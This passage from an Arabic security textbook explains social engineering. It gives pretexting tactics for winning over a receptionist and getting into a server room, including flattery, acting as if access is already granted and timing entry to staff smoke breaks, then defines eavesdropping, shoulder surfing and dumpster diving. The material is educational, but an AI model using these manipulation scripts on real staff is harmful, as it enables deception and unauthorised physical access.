‫ﻟﻌدﯾد ﻣن ﺳﻧوات اﻟﺑﺣث‪ ،‬ﻟﻘد ﺟﻣﻌت ﺑﻌض اﻟﻧﺻﺎﺋﺢ ﺣول ﻛﯾﻔﯾﺔ ﺗﻔﺎﻋل اﻵﺑﺎء ﻣﻊ أطﻔﺎﻟﮭم ﻟﺣﻣﻠﮭم ﻋﻠﻰ اﻻﻣﺗﺛﺎل ﻟرﻏﺑﺎت اﻟواﻟدﯾن‪ .‬وھﻧﺎك ﻋدد‬
‫ﻗﻠﯾل ﻣن اﻟﻧﻘﺎط ﻋﻠﻰ اﻟﺗﻼﻋب اﻹﯾﺟﺎﺑﻲ ﻣﻔﯾدة ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬وﺗﻐطﻲ اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺑﻌض ھذه اﻟﺗﻘﻧﯾﺎت اﻹﯾﺟﺎﺑﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪946‬‬

‫‪ -‬ﻓﺼﻞ اﻟﻌﺎطﻔﺔ اﻟﺨﺎﺻﺔ ﺑﻚ ﻋﻦ ﺳﻠﻮﻛﮭﻢ )‪(Disconnect Your Emotion from Their Behavior‬‬
‫اﻟﺣﻔﺎظ ﻋﻠﻰ اﻟﻌواطف اﻟﺧﺎﺻﺔ ﺑك ﻣﻧﻔﺻﻠﺔ ﻋن ﺳﻠوك اﻟﻣﺳﺗﮭدف ﻣﮭم ﺟدا‪ .‬ﺑﻣﺟرد ﺗرك اﻟﻌواطف ﺗﺗدﺧل ﺑﺎﻟﮭدف ﻓﺈﻧﮭﺎ ﺳوف ﺗﺗﻼﻋب ﺑك‪.‬‬
‫ﯾﻣﻛﻧك أن ﺗﺷﻌر ﺑﺎﻟﻌﺎطﻔﺔ‪ ،‬ﺑﺎﻟطﺑﻊ‪ ،‬وﻟﻛن ﯾﻛون ﻓﻲ اﻟﺳﯾطرة ﻋﻠﻰ ﻣﺎ ﺗﺷﻌر ﺑﮫ وﻛﯾف ﺗﻌرض ﻣﺎ ﻛﻧت ﺗﺷﻌر ﺑﮫ‪.‬‬
‫ﻓﺈﻧك ﻻ ﺗرﯾد أن ﺗﻛون واﺣدا ﺧﺎرج ﻧطﺎق اﻟﺳﯾطرة‪ .‬ﻓﺈﻧك ﺗﺣﺗﺎج أﯾﺿﺎ إﻟﻰ اﻟﺳﯾطرة ﻋﻠﻰ اﻟﻣﺷﺎﻋر اﻟﺳﻠﺑﯾﺔ ﻗدر اﻹﻣﻛﺎن ﺣﺗﻰ ﺗﺗﻣﻛن ﻣن اﻟﺑﻘﺎء‬
‫ﻓﻲ اﻟﺳﯾطرة ﻓﻲ ﺟﻣﯾﻊ اﻷوﻗﺎت‪.‬‬
‫ﻓﺻل اﻟﻌواطف ﯾﻣﻛﻧﮫ أﯾﺿﺎ وﺿﻊ اﻟﻧﺎس ﺑﺳﮭوﻟﺔ‪ .‬ھذا ﻻ ﯾﻌﻧﻲ أﻧﮭﺎ ﺗﺧﻠو ﻣن اﻟﻌﺎطﻔﺔ; واﻟذي ﻻ ﯾﻛون ﻏﯾر ﻣرﯾﺢ ﻟﻠﻧﺎس‪ .‬ﻓﺈذا ﻛﺎن اﻟﺷﺧص‬
‫ﯾﺷﻌر ﺑﺎﻟﺿﯾﻖ‪ ،‬ﻓﺈظﮭﺎر ﻣﺳﺗوى ﻣﻧﺎﺳب ﻣن اﻟﻘﻠﻖ ﺟﯾد‪ ،‬وﻟﻛن إذا ﻛﺎن اﻟﻌرض ﻣن اﻟﻌﺎطﻔﺔ أﻛﺛر ﻣن اﻟﻼزم ﯾﻣﻛﻧك ﺗﻌرﯾض اﻟﮭدف ﻟﻼﻧزﻋﺎج‪.‬‬
‫إﺑﻘﺎء اﻟﻌواطف ﻓﻲ ﻣواءﻣﺔ ﻣﻊ اﻟذرﯾﻌﺔ اﻟﺗﻲ ﺗﺣﺎول ﺗﺣﻘﯾﻘﮭﺎ‪ .‬إذا ﻛﻧت ﻻ ﺗﺳﻣﺢ ﻟﻌواطﻔك أن ﺗﺗدﺧل ﯾﻣﻛﻧك اﻟﺑﻘﺎء ﻓﻲ اﻟﺳﯾطرة ﻓﻲ ﺟﻣﯾﻊ‬
‫اﻷوﻗﺎت‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ﻗﺎدر ﻋﻠﻰ اﻟﻘﯾﺎم ﺑذﻟك ﻋﻠﻰ اﻟرﻏم ﻣن اﻹﺟراءات أو اﻟﻣواﻗف اﻟﺗﻲ أﺑداھﺎ اﻟﮭدف‪ .‬إذا ﻛﺎن اﻟﮭدف ﯾﺷﻌر‬
‫ﺑﺎﻟﺿﯾﻖ‪ ،‬ﺟﻧون‪ ،‬ﻋﺳﻛري‪ ،‬وﻗﺣﺎ‪ ،‬أو إذا ﺗم ﻋرض أي ﻋﺎطﻔﺔ ﺳﻠﺑﯾﺔ أﺧرى‪ ،‬ﯾﺑﻘﻰ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ھﺎدئ‪ ،‬ﺑﺎرد‪.‬‬
‫‪ -‬اﻟﺒﺤﺚ ﻋﻦ ﺷﻲء إﯾﺠﺎﺑﻲ ﻟﺬﻛﺮه )‪(Look for the Positive to Mention‬‬
‫ﻛﻠﻣﺎ ﻛﻧت ﺗﺳﺗطﯾﻊ‪ ،‬أن ﺗﺟد ﺷﯾﺋﺎ ﻟﺗﻘدﯾﻣﮫ ﻛﻧﻛﺗﺔ ﻋن أو ﻣﺟﺎﻣﻠﺔ‪ ،‬وﻟﻛن ﻣن دون أن ﺗﺑدوا ﻣروﻋﮫ‪ .‬ﺣﯾث إﻧك ﻻ ﺗرﯾد أن ﺗذھب اﻟﻰ ﻣوظﻔﺔ‬
‫اﻻﺳﺗﻘﺑﺎل ﻓﻲ اﻟﻣﻛﺗب اﻷﻣﺎﻣﻲ وﺗﻘول‪" ،‬واو‪ ،‬ﻛم أﻧت ﺟﻣﯾﻠﺔ"‪.‬‬
‫اﻟﻌﺛور ﻋﻠﻰ ﺷﻲء إﯾﺟﺎﺑﻲ ﻟذﻛره ﯾﺿﻊ اﻟﺟﻣﯾﻊ ﻓﻲ ﺳﮭوﻟﺔ‪ ،‬وﻟﻛن ﯾﺟب أن ﯾﻛون ﻣﺗوازﻧﺎ‪ ،‬ﺗﺳﯾطر ﻋﻠﯾﮭﺎ‪ ،‬وذات ذوق ﺳﻠﯾم‪ .‬ﺑﺎﺳﺗﺧدام ﻣﺛﺎل ﻣن‬
‫اﻻﻗﺗراب ﻣن ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل‪ ،‬ﺑﻌد ﺗﻌرﯾف ﻧﻔﺳك‪ ،‬وﻣن ﺛم ﻣدح ﺻورة أوﻻدھﺎ ﺑﺎﻟﻘول ﺷﻲء ﻣن ھذا اﻟﻘﺑﯾل‪" ،‬واو‪ ،‬اﻧﮭﺎ ﻟطﯾﻔﮫ ﺣﻘﺎ‪ .‬ﻛم‬
‫ﻋﻣرھﺎ‪ ،‬أرﺑﻌﺔ أو ﺧﻣﺳﺔ؟ ﻟدي طﻔﻠﺔ ﺻﻐﯾرة ﻓﻲ اﻟﻣﻧزل‪ ،‬أﯾﺿﺎ"‪ ،‬ھذا ﯾﻣﻛن أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﻓﺗﺢ اﻟﺑﺎب‪.‬‬
‫‪ -‬ﻧﻔﺘﺮض‪ ،‬ﻟﻨﻔﺘﺮض‪ ،‬ﻟﻨﻔﺘﺮض )‪(Assume, Assume, Assume‬‬
‫رﺑﻣﺎ ﻛﻧت ﻗد ﺳﻣﻌت ﻣﺎ ﯾﻘوﻟﮫ ﻋن اﻟﻧﺎس ﻋن ﺷﻲء ﻛﻧت ﻗد اﻓﺗرﺿﺗﮫ‪ ،‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ‪ ،‬ﻧﻔﺗرض ﻛل ﺷﻲء‪ .‬ﻧﻔﺗرض أن اﻟﮭدف ﺳوف ﯾﻌﻣل‬
‫ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ‪ ،‬اﻓﺗرض اﻧﮫ ﺳﯾﺟﯾب ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ‪ ،‬وﻧﻔﺗرض اﻧﮫ ﺳوف ﯾﻣﻧﺢ ﻟك ﻛل اﻟطﻠﺑﺎت‪.‬‬
‫ﻧﻔﺗرض اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗطرﺣوﻧﮭﺎ واﻟﺑﯾﺎﻧﺎت‪/‬اﻟﻌﺑﺎرات اﻟﺗﻲ ﺗﻘوم ﺑﮭﺎ‪.‬‬
‫"ﻋﻧدﻣﺎ أﻋود ﻣن ﻏرﻓﺔ اﻟﺧﺎدم"‪...‬‬
‫ﯾﻔﺗرض ھذا اﻟﺑﯾﺎن إﻧك ﺗﻧﺗﻣﻲ ﻟﮭذا اﻟﻣﻛﺎن وھذا ﺳوف ﯾﻣﻧﺣك ﺑﺎﻟﻔﻌل ﺣﻖ اﻟوﺻول‪ .‬ﻓﻲ وﺿﻊ ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل اﻟﺗﻲ ذﻛر ﻓﻲ وﻗت ﺳﺎﺑﻖ‪ ،‬ﺑﻌد‬
‫ﺗﻘدﯾم ﻣﺟﺎﻣﻠﺔ رﺑﻣﺎ اﻟﻣﺗﺎﺑﻌﺔ‪" :‬ﻋﻧدﻣﺎ أﻋود ﻣن اﻟﺗﺣﻘﻖ ﻣن اﻟﺧوادم‪ ،‬ﺳوف إرﯾك ﺻورة اﺑﻧﺗﻲ"‪.‬‬
‫ﻋﻠﻰ اﻓﺗراض أن ﻣﺎ ﺗرﯾده ﺳﯾﺣدث ھو ﻧﻘطﺔ ﻗوﯾﺔ‪ ،‬أﯾﺿﺎ‪ ،‬ﻷﻧﮫ ﯾؤﺛر ﻋﻠﻰ اﻟﻧظرة اﻟﻌﻘﻠﯾﺔ اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﯾﺟب أن ﯾﻛون ﻟدﯾك ﻧظرة ﻋﻘﻠﯾﺔ إذا ﻛﻧت‬
‫ﺗرﯾد أن ﺗﺣﺻل ﻋﻠﻰ ﻣﺎ ﺟﺋت ﻣن أﺟﻠﮫ‪ .‬ھذا اﻟﻧظﺎم ﻣن اﻻﻋﺗﻘﺎد ﯾﺧﻠﻖ ﻟﻐﺔ اﻟﺟﺳد وﺗﻌﺎﺑﯾر اﻟوﺟﮫ اﻟﺟدﯾدة واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻐذي اﻟذرﯾﻌﺔ‬
‫اﻟﺧﺎص ﺑك‪.‬‬
‫إذا ذھﺑت ﻣﻊ ﺗوﻗﻊ اﻟﻔﺷل ﻓﺈﻧك ﺳوف ﺗﻔﺷل أو ﻓﻲ أﺣﺳن اﻷﺣوال ﻓﺈﻧﮫ ﯾؤﺛر ﻋﻠﻰ ﻟﻐﺔ اﻟﺟﺳد وﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ .‬إذا ﻛﺎن ﻟدﯾك اﻟﻧظرة اﻟﻌﻘﻠﯾﺔ أن ﺗﺗم‬
‫ھذه اﻟﺻﻔﻘﺔ‪ ،‬ﻓﺎن اﻟﺷﻲء ﻧﻔﺳﮫ ﺳوف ﯾﺣدث‪ .‬ﻛﻠﻣﺔ ﺗﺣذﯾر‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن ھذا‪-‬ﻻ ﺗﺄﺧذ ھذه اﻟﺧطوة ﺑﻌﯾدا ﺣﺗﻰ ﻻ ﺗﺻﺑﺢ ﻣﺗﻐطرﺳﺎ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﺳﯾر ﻣﻊ ھذا اﻟﺗﻔﻛﯾر‪" ،‬ﺑﺎﻟطﺑﻊ ﻟدي ھذا ﻓﻲ اﻟﺣﻘﯾﺑﺔ ﻷﻧﻧﻲ ﻣذھل وأﻓﺿل‪ "،‬ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗؤﺗﻲ ﺛﻣﺎرھﺎ‬
‫وإﯾﻘﺎف اﻟﮭدف ﺑﺳرﻋﺔ‪.‬‬
‫‪ -‬ﻣﺤﺎوﻟﺔ ﻓﺘﺢ ﺧﻄﻮط ﻣﺨﺘﻠﻔﺔ )‪(Try Different Opening Lines‬‬
‫ﺑدء اﻟﻣﺣﺎدﺛﺔ ﻣﻊ اﻟﻣﻌﯾﺎر ﻟﻣﺎذا‪/‬ﻣﺎ‪/‬ﻋﻧدﻣﺎ أو ﻣﺗﻰ أﻣر ﺷﺎﺋﻊ وﻟﻛن ﺣﺎول اﺳﺗﺧدام ﺗﻌﺎﺑﯾر ﻣﺧﺗﻠﻔﺔ وﻧرى ﻣﺎ ﺳﯾﺣدث‪ .‬ﻣﺟﻣوﻋﺔ اﻟﺑﺎﺣﺛﯾن اﻟذﯾن‬
‫ﯾدﯾرون أﻛﺑر ﻣوﻗﻊ ﻟﻠﺑﯾﺎﻧﺎت "‪ "https://www.okcupid.com‬ﺑﯾﺎﻧﺎت ﺟﻣﻌﺗﮭﺎ ﺗﺑﯾن ﻗﯾﻣﺔ اﻟﺑدا ﻣﻊ ﻓﺎﺗﺣﺎت ﻏﯾر ﺗﻘﻠﯾدﯾﺔ‪.‬‬
‫ﺗذﻛر اﻟﻧﻘﺎش ﺣول اﻟﻣﺟﺎﻣﻼت؟ ﻛذﻟك‪ ،‬وﺟد رﺟﺎل ‪ OkCupid‬ان اﻻﻧطﻼق ﻣﻊ ﻣﺟﺎﻣﻠﮫ "ﻛﺑﯾرة" ﺟدا ﻛﺎن ﻟﮭﺎ ﺗﺄﺛﯾر ﻋﻛﺳﻲ ﻣﻣﺎ ﻗد ﯾﻌﺗﻘد‬
‫اﻟﻣرء‪ .‬ﻛﻠﻣﺎت ﻣﺛل ﻣﺛﯾره‪ ،‬ﺟﻣﯾﻠﺔ‪ ،‬وﺳﺎﺧﻧﺔ ﻟﮭﺎ اﺛﺎر رھﯾﺑﺔ ﻋﻠﻰ اﻟﻧﺎس‪ ،‬ﻓﻲ ﺣﯾن أن ﻛﻠﻣﺎت ﻣﺛل راﺋﻌﺔ‪ ،‬رھﯾﺑﺔ وﺳﺎﺣره ﻛﺎن ﻟﮭﺎ اﻟﺗﺄﺛﯾر اﻷﻓﺿل‪.‬‬
‫ﻓﻲ اﻟﺗﺣﯾﺔ اﻟﻣﻌﺗﺎدة وﺟد ھؤﻻء اﻟرﺟﺎل أن ﻗول أﺷﯾﺎء ﻣﺛل "ﻣرﺣﺑﺎ )‪" ،"(hi‬ﯾﺎ )‪ ،"(hay‬و "ﻣرﺣﺑﺎ )‪ "(hallo‬ﯾﺗرك اﻟﮭدف ﯾﺷﻌر ﺑﺎﻟﻛﻼم‬
‫اﻟﻔﺎرغ واﻟﻐﯾر ﻣدﻓوع‪ ،‬ﺑﯾﻧﻣﺎ "ﻛﯾف ﯾﺳﯾر اﻟﺣﺎل )‪(How’s it going‬؟"‪" ،‬ﻣﺎ اﻷﻣر )‪(What’s up‬؟"‪" ،‬ﻣرﺣﺑﺎ )‪ ،"(howdy‬و "‪"hola‬‬
‫ﻛﺎﻧت ﻓﺎﺗﺣﺎت ﻗوﯾﺔ اﻻﺳﺗﺧدام‪.‬‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬ھذه اﻹﺣﺻﺎﺋﯾﺎت ھﻲ ﺣول اﻟﻣواﻋدة‪ ،‬وﻟﻛن اﻟﻧﻘطﺔ اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧﻼﺻﮭﺎ ھﻲ أن اﻟﻧﺎس ﺗﺗﻔﺎﻋل أﻓﺿل ﻣﻊ اﻟﺗﺣﯾﺎت اﻟﻐﯾر ﺗﻘﻠﯾدﯾﺔ‪.‬‬
‫ﺑﺎﻟﻣﺛل‪ ،‬ﻓﻲ ﺣﺎﻟﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﺧﺗﻠف اﻟﻧﮭﺞ اﻟﺧﺎص ﺑك وأﻧت ﻗد ﺗﻼﺣظ زﯾﺎدة ﻓﻲ طرﯾﻖ ﺗﻔﺎﻋل اﻟﮭدف ﻣﻊ اﻟرﺳﺎﻟﺔ‪.‬‬
‫‪ -‬اﺳﺘﺨﺪام ﺻﯿﻐﺔ اﻟﻤﺎﺿﻲ )‪(Use Past Tense‬‬
‫ﻋﻧدﻣﺎ ﺗرﯾد ﻣﻌﺎﻟﺟﺔ أي ﺷﻲء ﺳﻠﺑﻲ ﻛﻧت ﻻ ﺗرﯾد اﻟﮭدف ﻣن ﺗﻛراره‪ ،‬ﻗم ﺑوﺿﻌﮭﺎ ﻓﻲ زﻣن اﻟﻣﺎﺿﻲ‪ .‬ھذا اﻷﺳﻠوب ﯾﺿﻊ اﻟﻣواﻗف واﻷﻓﻌﺎل‬
‫اﻟﺳﻠﺑﯾﺔ ﻣن اﻟﻣﺎﺿﻲ ﻓﻲ ذھﻧﮫ‪ ،‬وﺗﻘدﯾم ﻟﮫ "ﻻﺋﺣﺔ ﻧظﯾﻔﺔ" ﺟدﯾدة وﻣﺣﺳﻧﺔ ﻟﻔﻌل أﺷﯾﺎء ﺟﯾدة ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪:‬‬
‫"ﻋﻧدﻣﺎ ﺗﻘول أﻧﺎ ﻟم أﻛن اﺳﺗطﯾﻊ اﻟﺣﺻول ﻋﻠﻰ ﻟﻘﺎء ﻣﻊ اﻟﺳﯾد ﺳﻣﯾث"‪...‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪947‬‬

‫ﺑدﻻ ﻣن‪" :‬ﻋﻧدﻣﺎ ﺗﻘول إﻧﻧﻲ ﻻ أﺳﺗطﯾﻊ أن أﺣﺻل ﻋﻠﻰ ﻟﻘﺎء ﻣﻊ اﻟﺳﯾد ﺳﻣﯾث‪....‬‬
‫ﺻﯾﻐﺔ اﻟﻔﻌل ھﻲ اﻟﺗﻲ ﺗﻐﯾرت ﻓﻘط‪ ،‬وﻟﻛن ﺗﺄﺛﯾرھﺎ ﻣﮭم ﺟدا‪ .‬أﻧﮫ ﯾﻌطﻲ اﻻﻧطﺑﺎع ﺑﺄن اﻟﺑﯾﺎن ﺳﻠﺑﻲ ﺣﺗﻰ اﻵن ﻓﻲ اﻟﻣﺎﺿﻲ‪ ،‬واﻟﺗﻲ ﺗﺧﺑر ﺑدﻋوﻧﺎ‬
‫ﻧﻧﺗﻘل إﻟﻰ ﺷﻲء ﺟدﯾد وﻣﺣﺳن‪ .‬ﻛﻣﺎ أﻧﮫ ﯾﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﻣﺎ ﺗﺷﻌر ﺑﮫ ﻓﻲ اﻟﻣﺎﺿﻲ‪.‬‬
‫‪ -‬اﻟﺴﻌﻲ واﻟﺘﺪﻣﯿﺮ )‪(Seek and Destroy‬‬
‫ﻟﺗﺣدﯾد‪ ،‬وﺗﺧطﯾط ﻛﯾف ﺳﯾﺗم اﻟﺗﻌﺎﻣل ﻣﻊ أي ﻣوﻗف أو ﻓﻌل ﻣدﻣر أو ﺳﻠﺑﻲ‪ .‬ﺗﺧﯾل ﻟو أن اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ھو أن ﯾﻛون اﻟدﻋم اﻟﻔﻧﻲ ﻟرﺟل‬
‫اﻟذي ﺳﯾﺗﻣﻛن ﻣن اﻟدﺧول إﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم‪ .‬ﻓﻲ اﻟﻣﻛﺎﻟﻣﺎت اﻟﺳﺎﺑﻘﺔ ﻛﻧت ﻋﻠﻰ ﻋﻠم ﺑﺄن ﻛل ﯾوم اﻟﺳﺎﻋﺔ ‪ 10‬ﺻﺑﺎﺣﺎ ان ﻣﺟﻣوﻋﺔ ﻛﺑﯾرة ﺗﺧرج‬
‫ﻟﻠﺗدﺧﯾن‪ .‬ﻋﻠﯾك أن ﺗﻘرر اﻟوﻗت اﻟﻣﻧﺎﺳب‪ .‬ﺗذھب ﻣﻊ ﻛل إﻋداد ﻗﻣت ﺑﮫ‪ ،‬وﻟﻛن ﻋﻧد دﺧوﻟك اﻟﻣﺑﻧﻰ ﻣوظف اﻻﺳﺗﻘﺑﺎل ﻗد ﺗﻠﻘﻰ ﻟﻠﺗو ﺑﻌض اﻷﺧﺑﺎر‬
‫اﻟﺳﯾﺋﺔ وذات ﻋﺎطﻔﺔ ﻓوﺿوﯾﺔ‪ .‬ﯾﺟب أن ﯾﻛون ﻟدﯾك ﺧطﺔ ﻟﻠﺗﻌﺎﻣل ﻣﻊ ھذا اﻻﺿطراب‪.‬‬
‫إذا اﻧﺗظرت أن ﺗﻔﻛر ﻛﯾف ﺳﯾﺗم اﻟﺗﻌﺎﻣل ﻣﻊ ﺳدادات اﻟﻣﺣﺎدﺛﺔ اﻟﻣﺣﺗﻣﻠﺔ‪ ،‬أو اﻟﺗﺄﺛﯾرات اﻟﮭداﻣﺔ‪ ،‬ﺣﺗﻰ ﻓﻲ اﻟﻣرة اﻷوﻟﻰ اﻟﺗﻲ ﻧﺳﻣﻊ ﻣﻧﮭم ﻓﻣن‬
‫اﻟﻣرﺟﺢ أن ﺗﻔﺷل ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ‪ .‬ﻟدﯾك اﻟﺟﻠوس واﻟﺗﻔﻛﯾر ﻣﺛل اﻟﮭدف‪ :‬ﻣﺎ اﻋﺗراﺿﺎت اﻧﮫ رﻓﻊ؟ ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص أﻧﮫ ﻻ ﯾﻌرف ﻣﻛﺎﻟﻣﺎت‬
‫أو ﺗﻘﺗرب ﻣﻧﮫ‪ ،‬ﻣﺎ ﯾﻣﻛن أن ﯾﻘول؟ ﻣﺎ اﻻﻋﺗراﺿﺎت اﻟﺗﻲ ﻗد ﺗرﻓﻊ؟ ﻣﺎ اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﯾﺑدو ﻋﻠﯾﮭﺎ؟ ﯾﻣﻛن اﻟﺗﻔﻛﯾر ﻓﻲ ﻣﺛل ھذه اﻷﻣور ﺗﺳﺎﻋدك ﻋﻠﻰ‬
‫وﺿﻊ ﺧطﺔ ﻟﻌب ﻟﮭذه اﻟﻣﺷﺎﻛل اﻟﻣﺣﺗﻣﻠﺔ‪.‬‬
‫ﻛﺗﺎﺑﺔ أﻓﻛﺎرك واﻻﻋﺗراﺿﺎت اﻟﻣﺣﺗﻣﻠﺔ ﻋﻠﻰ اﻟﮭدف وﻣن ﺛم ﻟﻌب اﻷدوار‪ .‬ﻟدﯾك ﺻدﯾﻖ ﯾﻠﻌب دور اﻟﺑواب أو ﺣﺎرس أﻣن‪ .‬وﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻓﺎﻧﮫ‬
‫ﻻ ﯾﻣﻛن ﺗﻘﻠﯾد ﻋﻧﺎﺻر ﻣﺛل ﺗﻌﺎﺑﯾر اﻟوﺟﮫ وھﻠم ﺟرا‪ .‬وﻟﻛن ﯾﻣﻛن ان ﯾﻌطﻲ ﺻﻐﯾرة ﻣن ﺳدادات اﻟﻣﺣﺎدﺛﺔ ﻟﻼﺧﺗﯾﺎر ﻣن ﺑﯾﻧﮭﺎ ﻟﻼﺧﺗﺑﺎر اﻟﺧﺎص‬
‫ﺑك‪ .‬اﻟﻣﻣﺎرﺳﺔ ﺗﺷﻌرك ﺑﺎﻟراﺣﺔ‪.‬‬
‫اﻟﺗﻼﻋب اﻹﯾﺟﺎﺑﻲ ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر ﻗوي ﺟدا ﻋﻠﻰ اﻟﮭدف‪ .‬ﻟﯾس ﻓﻘط أﻧﮫ ﻻ ﯾﺗرك ﺷﻌور اﻻﻧﺗﮭﺎك وﻟﻛن إذا ﻓﻌل ﺑﺷﻛل ﺻﺣﯾﺢ أﻧﮫ ﯾﻣﻛن‬
‫أن ﯾﺷﻌر ﺑﺎﻹﻧﺟﺎز ﻛﻣﺎ ﻟو ﻓﻌل ﺷﯾﺋﺎ ﺟﯾدا ﻟﮭذا اﻟﯾوم‪.‬‬

‫‪Other Human-Based Social Engineering‬‬

‫ﺗﺷﯾر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻹﻧﺳﺎن اﻟﻰ اﻻﺗﺻﺎﻻت ﻣن ﺷﺧص إﻟﻰ ﺷﺧص أﺧر ﻻﺳﺗرداد اﻟﺑﯾﺎﻧﺎت اﻟﻣطﻠوﺑﺔ‪ .‬اﻟﻣﮭﺎﺟم ﯾﻣﻛن أن‬
‫ﯾؤدي أﻧﺷطﺔ ﻣﻌﯾﻧﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣن أﺷﺧﺎص آﺧرﯾن‪.‬‬
‫ﺗﺷﻣل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻹﻧﺳﺎن ﺗﻘﻧﯾﺎت ﻣﺧﺗﻠﻔﺔ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك‪:‬‬
‫اﻟﺘﻨﺼﺖ )‪(Eavesdropping‬‬
‫ﯾﺷﯾر اﻟﺗﻧﺻت ﻟﻌﻣﻠﯾﺔ اﻻﺳﺗﻣﺎع اﻟﻐﯾر اﻟﻣﺻرح ﺑﮫ إﻟﻰ اﻻﺗﺻﺎل ﺑﯾن اﻷﺷﺧﺎص أو اﻟﻘراءة ﻏﯾر ﻣﺻرح ﺑﮭﺎ ﻟﻠرﺳﺎﺋل‪ .‬وﯾﺷﻣل اﻻﻋﺗراض ﻣن‬
‫أي ﺷﻛل ﻣن أﺷﻛﺎل اﻻﺗﺻﺎل‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك اﻟﺻوت واﻟﻔﯾدﯾو‪ ،‬أو اﻟﻣﻛﺗوب‪ .‬ﻓﺈﻧﮫ ﯾﻣﻛن أﯾﺿﺎ أن ﯾﺗم ذﻟك ﺑﺎﺳﺗﺧدام ﻗﻧوات اﻻﺗﺻﺎل ﻣﺛل ﺧطوط‬
‫اﻟﮭﺎﺗف‪ ،‬واﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬واﻟرﺳﺎﺋل اﻟﻔورﯾﺔ‪ ،‬اﻟﺦ‬
‫ﺗﻼﺻﻖ اﻟﻜﺘﻒ )‪(Shoulder Surfing‬‬
‫‪ Shoulder Surfing‬ھو ﻋﻣﻠﯾﺔ ﻣراﻗﺑﺔ أو اﻟﻧظر ﻣن ﺧﻼل اﻟﺷﺧص ﻓﻲ ﺣﯾن أن اﻟﺷﺧص ﯾدﺧل ﻛﻠﻣﺎت اﻟﺳر واﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ‪،‬‬
‫وأرﻗﺎم ‪ PIN‬وأرﻗﺎم اﻟﺣﺳﺎﺑﺎت‪ ،‬وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﻠﺻوص ﯾﻧظرون ﻣن ﻋﻠﻰ ﻛﺗﻔك‪ ،‬أو ﺣﺗﻰ ﻣن ﻣﺳﺎﻓﺔ ﺑﻌﯾدة ﺑﺎﺳﺗﺧدام اﻟﻣﻧﺎظﯾر‪ ،‬ﻣن‬
‫أﺟل اﻟﺣﺻول ﻋﻠﻰ ﺗﻠك اﻟﻘطﻊ ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫اﻟﺒﺤﺚ ﻓﻲ اﻟﻘﻤﺎﻣﺔ )‪(Dumpster diving‬‬
‫‪ Dumpster diving‬ھو ﻋﻣﻠﯾﺔ اﺳﺗرﺟﺎع اﻟﻣﻌﻠوﻣﺎت ﻣن ﺧﻼل اﻟﺑﺣث ﻓﻲ اﻟﻘﻣﺎﻣﺔ ﻟﻠﺣﺻول ﻋﻠﻰ ﺑﯾﺎﻧﺎت ﻣﺛل رﻣز اﻟدﺧول وﻛﻠﻣﺎت اﻟﺳر‬
‫ﻣﻛﺗوﺑﺔ أﺳﻔل ﻋﻠﻰ ﻣﻼﺣظﺎت ﻻﺻﻘﺔ‪ ،‬وﻗواﺋم اﻟﮭﺎﺗف‪ ،‬واﻟﺗﻘوﯾﻣﺎت‪ ،‬واﻟﮭﯾﻛل اﻟﺗﻧظﯾﻣﻲ ﻟﺳرﻗﺔ ھوﯾﺔ اﻟﻣرء‪ .‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟﻣﯾن اﺳﺗﺧدام ھذه‬
‫اﻟﻣﻌﻠوﻣﺎت ﻟﺷن ھﺟوم ﻋﻠﻰ ﺷﺑﻛﺔ اﻟﮭدف‪.‬‬
